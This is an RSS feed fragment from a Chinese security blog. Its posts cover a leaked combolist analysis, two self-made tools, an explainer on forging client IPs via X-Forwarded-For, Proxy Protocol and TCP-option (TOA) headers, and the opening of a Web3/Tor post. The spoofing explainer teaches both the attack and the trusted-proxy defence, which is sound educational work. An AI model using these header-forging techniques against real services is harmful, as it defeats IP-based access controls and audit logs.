<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=174fdddb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247483971%26idx%3D1%26sn%3D991e4812605b23d243eca83f70241e37%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 21 Jun 2024 21:00:00 +0800</pubDate>
    </item>
    <item>
      <title>分析了来自小飞机的20亿数据，最受欢迎的密码竟然是！？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247483966&amp;idx=1&amp;sn=32b930e60b0bea4d667487e1ca7ebebe</link>
      <description>上周，HIBP 创始人Troy Hunt发布博客，揭示收到匿名研究员提供的1.51亿新泄露邮件数据，来自518个小飞机频道，主要由信息窃取恶意软件捕获。</description>
      <content:encoded><![CDATA[<p>
原创 <span>黑屋⑤号</span> <span>2024-06-13 19:02</span> <span style="display: inline-block;">上海</span>
</p>

<p>上周，HIBP 创始人Troy Hunt发布博客，揭示收到匿名研究员提供的1.51亿新泄露邮件数据，来自518个小飞机频道，主要由信息窃取恶意软件捕获。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9b614b37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5r3L9YiaerKeqFy0xV8vicy8AzYvw0brMHAQt0BwictT2xwR0m4BO0W3zHDibyGkibStqfDntTwNpGib6EZTCZuFG34A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">上周，Have I Been Pwned (HIBP) 创始人 Troy Hunt 发布了一篇博客，介绍他收到一位匿名研究人员的邮件，邮件中包含一组全新的数据集。</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">这些数据集通常被称为&#34;combolist&#34;，包含电子邮件地址或用户名和密码的组合，用于撞库攻击以获得对</span>帐<span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">户的未授权访问。</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">该数据集由 1,748 个文件和 20 亿行组成，公开了 1.51 亿个以前未在服务中列出的电子邮件地址，数据来自 518 个不同的小飞机频道，大小差异很大，有些文件包含数千万行。</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">其最大的文件似乎是信息窃取恶意软件（Info stealers）的结果，这些 Zeus-like 的恶意软件在受感染的机器上大规模捕获密码。</span><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">Hunt 通过邮件联系 HIBP 订阅者确认被盗密码是否正确，验证了这批 combolists 泄露准确性。</span><br/></p><p>小黑屋对相关 combolists 数据集进行了分析，<span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;">以下是我们对这批数据的分析结果：</span></p><p><span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000315" data-ratio="1.2503052503052503" data-s="300,640" style="" data-type="jpeg" data-w="819" src="https://wechat2rss.xlab.app/img-proxy/?k=df5a1454&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5r3L9YiaerKeqFy0xV8vicy8AzYvw0brMH52xTFkriaOicFlRrkYkKDBo0Vc6VcVvp2oZrICDGFzsWHYdOECZDJdUQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span data-lark-record-data="{&#34;rootId&#34;:&#34;ERnwd4zN3oxp2TxBoTRcg9B5nec&#34;,&#34;text&#34;:{&#34;initialAttributedTexts&#34;:{&#34;text&#34;:{&#34;0&#34;:&#34;上周，Have I Been Pwned (HIBP) 创始人 Troy Hunt 发布了一篇博客，介绍他收到一位匿名研究人员的邮件，邮件中包含一组全新的数据集。这些数据集通常被称为\&#34;combolist\&#34;，包含电子邮件地址或用户名和密码的组合，用于撞库攻击以获得对帐户的未授权访问。该数据集由 1,748 个文件和 20 亿行组成，公开了 1.51 亿个以前未在服务中列出的电子邮件地址，数据来自 518 个不同的 Telegram 频道，大小差异很大，有些文件包含数千万行。最大的文件似乎是信息窃取恶意软件（Info stealers）的结果，在受感染的机器上捕获密码。Hunt 通过联系 HIBP 订阅者确认被盗密码的准确性，验证了 combolist 的有效性。&#34;},&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+9a&#34;}},&#34;apool&#34;:{&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6886157575025344515&#34;]},&#34;nextNum&#34;:1}},&#34;type&#34;:&#34;text&#34;,&#34;referenceRecordMap&#34;:{},&#34;extra&#34;:{&#34;channel&#34;:&#34;saas&#34;,&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}},&#34;isKeepQuoteContainer&#34;:false,&#34;isFromCode&#34;:false,&#34;selection&#34;:[{&#34;id&#34;:26,&#34;type&#34;:&#34;text&#34;,&#34;selection&#34;:{&#34;start&#34;:0,&#34;end&#34;:334},&#34;recordId&#34;:&#34;Zesid7IsTo6ih0xGhFycshKrnoe&#34;}],&#34;payloadMap&#34;:{},&#34;isCut&#34;:false}" data-lark-record-format="docx/text"></span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483966">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e87708a1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247483966%26idx%3D1%26sn%3D32b930e60b0bea4d667487e1ca7ebebe%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 13 Jun 2024 19:02:00 +0800</pubDate>
    </item>
    <item>
      <title>小黑屋自产自销的两款小工具</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247483958&amp;idx=1&amp;sn=b09f8437fd55da2f15d47c6588ee326d</link>
      <description>推荐两款小工具</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2024-06-08 20:45</span> <span style="display: inline-block;">江苏</span>
</p>

<p>推荐两款小工具</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f5dd687b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5r3L9YiaerKcPalDsyjxNaicBTtvgfl7DPLRCbbTM8v6Jib7Jvv5Qmcvkm1op9F1EmFOcIflkCFCAgmn37whlIMLA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size:16px;">最近小黑屋质量<span style="letter-spacing: 0.578px;">严重</span>下滑。为了挽救所剩无几的代码能力，小黑屋做了两款小工具，维持一下冰凉的手感。两款小工具均可免费使用，部分代码后续会开源出来。<span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;"></span></span></p><p><span style="font-size:16px;"><br/></span></p><p><strong><span style="font-size: 18px;">工具一： Proxyverse</span></strong></p><p><span style="font-size: 16px;">这是一款适用于 Chrome 和 Edge 浏览器的快速代理切换工具。熟悉 <span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;"></span><span style="font-size: 16px;">Proxy SwitchyOmega 的朋友对这款插件应当不陌生。为什么在有 <span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span>Proxy SwitchyOmega 的情况下还要重复造轮子呢？ 主要原因还是 Chrome 会从 6 月份开始逐步下线对 Manifest V2 的支持，届时基于 Manifest V2 的插件将逐渐被淘汰，其中就包含 Proxy <span style="letter-spacing: 0.578px;">SwitchyOmega。</span></span></span><span style="letter-spacing: 0.034em;font-size: 16px;">与其用一些未开源的替代品，不如自己手撸一个，顺便开源出来，让大家用的放心。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000306" data-ratio="0.8685185185185185" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d4af390a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5r3L9YiaerKcPalDsyjxNaicBTtvgfl7DPNDPGFtUbS3zcvfBQxZ0tJ8HRA1iaQa2R4epGCf9hYxCI8gD29XsSXAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span style="font-size: 16px;">目前该插件已经在 Chrome Webstore 和 Edge Add-ons 同步上线。使用 Edge 浏览器的朋友无需科学上网即可安装。</span></p><p style="text-align: left;"><span style="font-size: 16px;">相关代码已于 Github 开源： </span><span style="font-size: 16px;"><a href="https://github.com/bytevet/proxyverse" target="_blank">https://github.com/bytevet/proxyverse</a></span><span style="font-size: 16px;"><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;"></span></span></p><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="letter-spacing: 0.578px;white-space: normal;"><strong><span style="font-size: 18px;"><br/></span></strong></p><p style="letter-spacing: 0.578px;white-space: normal;"><strong><span style="font-size: 18px;">工具二： Byte.Vet HTTP Log</span></strong></p><p><span style="font-size: 16px;">之前用了一些 HTTP Log 工具，总用的不太顺手，往往还需要注册。本着重复造轮子的原则，小黑屋上线了一个“字节兽医”小网页， 无需注册随时使用。</span></p><p><span style="font-size: 16px;">传送门： <a href="https://byte.vet" target="_blank">https://byte.vet</a></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000304" data-ratio="0.7398148148148148" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=78f51c9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5r3L9YiaerKcPalDsyjxNaicBTtvgfl7DPwwnHNIDdcMF5YyWricdyBibucbibqSMbhU8CLDy9aopAc5yetloARAs1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483958">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3e603ac9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247483958%26idx%3D1%26sn%3Db09f8437fd55da2f15d47c6588ee326d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 08 Jun 2024 20:45:00 +0800</pubDate>
    </item>
    <item>
      <title>再谈 IP 伪造</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247483950&amp;idx=1&amp;sn=1e84705b784da8e8cb108a96a9e91607</link>
      <description>最近刚好看到一段视频，讲述关于 IP 伪造的内容。视频中并没有具体描述如何进行的 IP 伪造。借此机会，小黑屋来唠唠伪造 IP 的几种常见方式。</description>
      <content:encoded><![CDATA[<p>
原创 <span>黑屋五号</span> <span>2023-10-25 02:12</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>最近刚好看到一段视频，讲述关于 IP 伪造的内容。视频中并没有具体描述如何进行的 IP 伪造。借此机会，小黑屋来唠唠伪造 IP 的几种常见方式。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=4a8b8def&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5r3L9YiaerKf0ZdVtA38nUrqKCalmY7sVuQJlM79QTTVJtN0a60hfJ4lIWtCUMMHXbZz2tqdfETibGvCHwHu3riag%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 14px;">最近刚好看到一段视频，讲述关于 IP 伪造的内容。视频中并没有具体描述如何进行的 IP 伪造。借此机会，小黑屋来唠唠伪造 IP 的几种常见方式。<span style="display: none;line-height: 0px;">‍‍‍‍‍‍‍</span></span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 18px;"><strong>方式1: X-Forwarded-For</strong></span></p><p><span style="font-size: 14px;">这个是最为认知的 IP 伪造方法，早年的 CTF 题目也经常涉及，然而现在知道的人太多， CTF 都不屑于出这类题目。 X-Forwarded-For 诞生的原因比较简单粗暴。 对于一个非常简单的网络模型， 一个网络请求通常只有两方，即请求方与被请求方，如下所示。这样的网络模型下， Web Server 是可以拿到 User 的真实 IP 地址的，即使拿到的可能是路由器的地址。<span style="display: none;line-height: 0px;">‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">User --&gt; Web Server</span></code></pre></section><p><span style="font-size: 14px;">但是上了规模的网站，其网络模型不会这么简单，它可能长这样：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">User --&gt; CDN --&gt; Web Server</span></code></pre></section><p><span style="font-size: 14px;">在这种场景下， CDN 依旧可以拿到 User 的真实 IP 地址，然而 Web Server 却无法直接拿到。 为了解决这个问题， 有人提出了 X-Forwarded-For， 它作为 HTTP Header 传递给后端的 Web Server，其格式如下：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">X-Forwarded-For: &lt;client&gt;, &lt;proxy1&gt;, &lt;proxy2&gt;</span></code></pre></section><p><span style="font-size: 14px;">假设 User 的真实 IP 地址是 1.0.0.1， CDN 节点的 IP 地址是 2.0.0.2，那么 CDN 会在 HTTP 请求头里附加下面的 Header，通知 Web Server 用户的真实 IP 地址。 Web Server 根据这个 Header 解析出 User 的 IP。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">X-Forwarded-For: 1.0.0.1, 2.0.0.2</span></code></pre></section><p><span style="font-size: 14px;">细心的朋友可能会发现， 我是不是可以直接将 1.0.0.1 改成任意 IP 地址，然后直接将请求发送给 Web Server？没错，这就是非常简单的 X-Forwarded-For IP 伪造攻击。一般这类问题的解决思路是，校验 4 层协议的来源 IP，判断是否为可信 IP，比如是否为 CDN 的 IP。如果可信，才会尝试解析 X-Fowarded-For Header。<span style="display: none;line-height: 0px;">‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍</span></span></p><p><span style="font-size: 14px;"><br/></span></p><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 18px;"><strong>方式2: Proxy Protocol</strong></span></p><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">眼尖的朋友可能已经注意到了，X-Forwarded-For 只支持 HTTP 协议，那么 TCP 或者其它 4 层协议怎么办？这时候 Proxy Protocol 应运而生了。它最早于 2010 年被提出，并首先运用于 HAProxy 。 由于 Proxy Protocol 解决了实际应用中的痛点，越来越多的开源软件（如 NGINX）， CDN 厂商（如 Cloudflare 和 Cloudfront 等）已经支持 Proxy Protocol 了。 <span style="display: none;line-height: 0px;">‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍</span></span></p><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">目前 Proxy Protocol 共有两个版本，分别为 v1 和 v2。<span style="display: none;line-height: 0px;">‍‍‍</span></span></p><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">Proxy Protocol v1 协议非常简单易懂。由于本文只是介绍，不会写过多的技术细节，力求用最简单的言语让读者知道它是怎么工作的。我们假定网络模型如下所示：<span style="display: none;line-height: 0px;">‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">User --&gt; Load Balancer --&gt; TCP Server</span></code></pre></section><p style="letter-spacing: 0.578px;white-space: normal;"><br/></p><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">V1 的原理说起来也非常简单， 当用户与 Load Balancer 的 4 层链接建立后（可能是 TCP ，也可能是 UDP）， Load Balancer 是知道用户的真实 IP 的。 Load Balancer 在和 TCP Server 建立 4 层链接后，不会直接透传用户的请求，而是提前发一个 Proxy Protocol V1 的 header。 这个 Header 具体长这样<span style="display: none;line-height: 0px;">‍‍‍‍‍‍‍‍</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">PROXY TCP4 1.0.0.1 2.0.0.2 1001 2002\r\n</span></code></pre></section><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">其中：</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">PROXY 表示当前是一个4层代理请求</span></p></li><li><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">TCP4 表示 User 使用 TCP v4 与 Load Balancer 建立的 4 层链路</span></p></li><li><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">1.0.0.1 为 User 的 IP， 2.0.0.2 为目标 IP</span></p></li><li><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">1001 为 User 的端口， 2002 为目标端口</span></p></li></ul><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">当 V1 header 发送到 TCP Server 后， Load Balancer 才会开始透传 TCP 请求。而 TCP Server 需要做一些调整，解析完 Header 后，才开始进行业务逻辑。 幸运的是，目前许多 Server，包含 NGINX，已经支持了 V1 header 的解析，改改配置即可。<span style="display: none;line-height: 0px;">‍‍‍‍‍‍‍‍‍‍‍‍‍</span></span></p><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">类似的， Proxy Protocol 也有 IP 伪造问题。攻击者是可以直接构造一个 V1 header， 直接发送给 TCP Server 的，造成 TCP 来源 IP 地址伪造问题。</span></p><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">Proxy Protocl V2 版本实际上是针对 V1 版本的升级优化。 V1 版本是一个纯文本协议，其最大的缺点是 Header 占用的字节太多了，比如上面的例子中就占用了 38 个字节。然而 Header 是给机器看的，又不是给人看的，可读性这么高有卵用？ 因此，V2 实际上是将 V1 升级成了一个二进制版本。它的构造相对来说没那么直观。以 IPv4 版本为例，其格式如下：<span style="display: none;line-height: 0px;">‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer"> 0                   1                   2                   3</span></code><code><span class="code-snippet_outer"> 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1</span></code><code><span class="code-snippet_outer">+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></code><code><span class="code-snippet_outer">|                                                               |</span></code><code><span class="code-snippet_outer">+                                                               +</span></code><code><span class="code-snippet_outer">|                  Proxy Protocol v2 Signature                  |</span></code><code><span class="code-snippet_outer">+                                                               +</span></code><code><span class="code-snippet_outer">|                                                               |</span></code><code><span class="code-snippet_outer">+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></code><code><span class="code-snippet_outer">|Version|Command|   AF  | Proto.|         Address Length        |</span></code><code><span class="code-snippet_outer">+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></code><code><span class="code-snippet_outer">|                      IPv4 Source Address                      |</span></code><code><span class="code-snippet_outer">+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></code><code><span class="code-snippet_outer">|                    IPv4 Destination Address                   |</span></code><code><span class="code-snippet_outer">+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></code><code><span class="code-snippet_outer">|          Source Port          |        Destination Port       |</span></code><code><span class="code-snippet_outer">+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></code></pre></section><p style="letter-spacing: 0.578px;white-space: normal;"><br/></p><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">V2 Header 在 IPv4 版本中， 只固定占用了 28 字节， 比 V1 版本少了约 10 字节（此处注意是“约”， v1 版本是变长的）。</span></p><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">Proxy Protocol V2 本质上只是变更了 Header 的编码方式，还是存在 IP 地址伪造问题。</span></p><p style="letter-spacing: 0.578px;white-space: normal;"><strong><span style="font-size: 16px;"><br/></span></strong></p><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 18px;"><strong>方式3: TOA (TCP Option Address)</strong></span></p><p style="letter-spacing: 0.578px;white-space: normal;"><span style="font-size: 14px;">相比前两种协议，TOA 的知名度并没有那么高。 TOA 的原理是利用 TCP 协议中的一个未使用字段。 讲述原理之前，先回顾一下 TCP Header 的格式：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">    0                   1                   2                   3   </span></code><code><span class="code-snippet_outer">    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 </span></code><code><span class="code-snippet_outer">   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></code><code><span class="code-snippet_outer">   |          Source Port          |       Destination Port        |</span></code><code><span class="code-snippet_outer">   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></code><code><span class="code-snippet_outer">   |                        Sequence Number                        |</span></code><code><span class="code-snippet_outer">   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></code><code><span class="code-snippet_outer">   |                    Acknowledgment Number                      |</span></code><code><span class="code-snippet_outer">   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></code><code><span class="code-snippet_outer">   |  Data |           |U|A|P|R|S|F|                               |</span></code><code><span class="code-snippet_outer">   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |</span></code><code><span class="code-snippet_outer">   |       |           |G|K|H|T|N|N|                               |</span></code><code><span class="code-snippet_outer">   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></code><code><span class="code-snippet_outer">   |           Checksum            |         Urgent Pointer        |</span></code><code><span class="code-snippet_outer">   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></code><code><span class="code-snippet_outer">   |                    Options                    |    Padding    |</span></code><code><span class="code-snippet_outer">   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></code><code><span class="code-snippet_outer">   |                             data                              |</span></code><code><span class="code-snippet_outer">   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</span></code></pre></section><p><span style="letter-spacing: 0.578px;font-size: 14px;">可以看到， TCP Header 中是有一个叫 </span><span style="font-size: 14px;">Options 的 Segment 的。 TOA 正是利用这个 Options 。Load Balancer 在接收到用户的请求后，会将用户的 IP 信息塞到 Options 里，其格式如下：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer">struct toa_data {</span></code><code><span class="code-snippet_outer">  __u8 opcode;</span></code><code><span class="code-snippet_outer">  __u8 opsize;</span></code><code><span class="code-snippet_outer">  __u16 port;</span></code><code><span class="code-snippet_outer">  __u32 ip;</span></code><code><span class="code-snippet_outer">};</span></code></pre></section><p><span style="font-size: 14px;">TOA 最大的优势在于，其并没有变更协议，不会有兼容性问题。比如 TCP Server 如果不支持 TOA 协议，它依旧可以正常工作，只是获取不到真实的用户 IP 信息。</span></p><p><span style="font-size: 14px;">TOA 也好， Proxy Protocol 也罢，他们的本质都是 Load Balancer 主动将用户 IP 信息传递给 TCP Server。因此， TOA 协议也是有 IP 伪造问题的。在和 TCP Server 建立连接的阶段，我们可以将伪造的 IP 地址塞到 Options 里。<span style="display: none;line-height: 0px;">‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍</span></span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 18px;"><strong>写在最后</strong></span></p><p><span style="font-size: 14px;">以上就是小黑屋总结的 IP 伪造技术。真实世界上，伪造来源 IP 的技术肯定不止这些， 小黑屋只是抛砖引玉。<span style="display: none;line-height: 0px;">‍‍‍‍‍‍‍</span></span></p><p><span style="font-size: 14px;">另外这类 IP 伪造问题的根因都是相似的，即后端服务无条件地信任了别人传递过来的 IP 信息。 解决方式说起来也简单，即判断上一条 IP 是否是可信的，如果不在可信名单里，则停止解析这些 IP 信息。具体做法可阅读 Gin 框架的代码。</span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483950">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=105d7dbd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247483950%26idx%3D1%26sn%3D1e84705b784da8e8cb108a96a9e91607%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 25 Oct 2023 02:12:00 +0800</pubDate>
    </item>
    <item>
      <title>Web 3 与 Tor</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247483901&amp;idx=1&amp;sn=c4f7bd452f36d985976d47dc007ae562</link>
      <description>最近小黑屋有个大佬写了篇硬核安全技术文章。不过由于内容比较敏感，没敢发出来。 刚好小黑屋好久没更新了，就找了篇去年写的文章，滥竽充数。 内容嘛，主要还是针对 Web 3 的</description>
      <content:encoded><![CDATA[<p>
原创 <span>黑屋五号</span> <span>2023-04-02 20:03</span> <span style="display: inline-block;">新加坡</span>
</p>

<p>最近小黑屋有个大佬写了篇硬核安全技术文章。不过由于内容比较敏感，没敢发出来。 刚好小黑屋好久没更新了，就找了篇去年写的文章，滥竽充数。 内容嘛，主要还是针对 Web 3 的</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9ebe31e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5r3L9YiaerKfDdOib14RuViaQe3aibSibUYn2icyb55T1M4F2jtJQnnsF7yMK7veGYdLFYveOeLFZNdvNZ0xegN4uibQA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


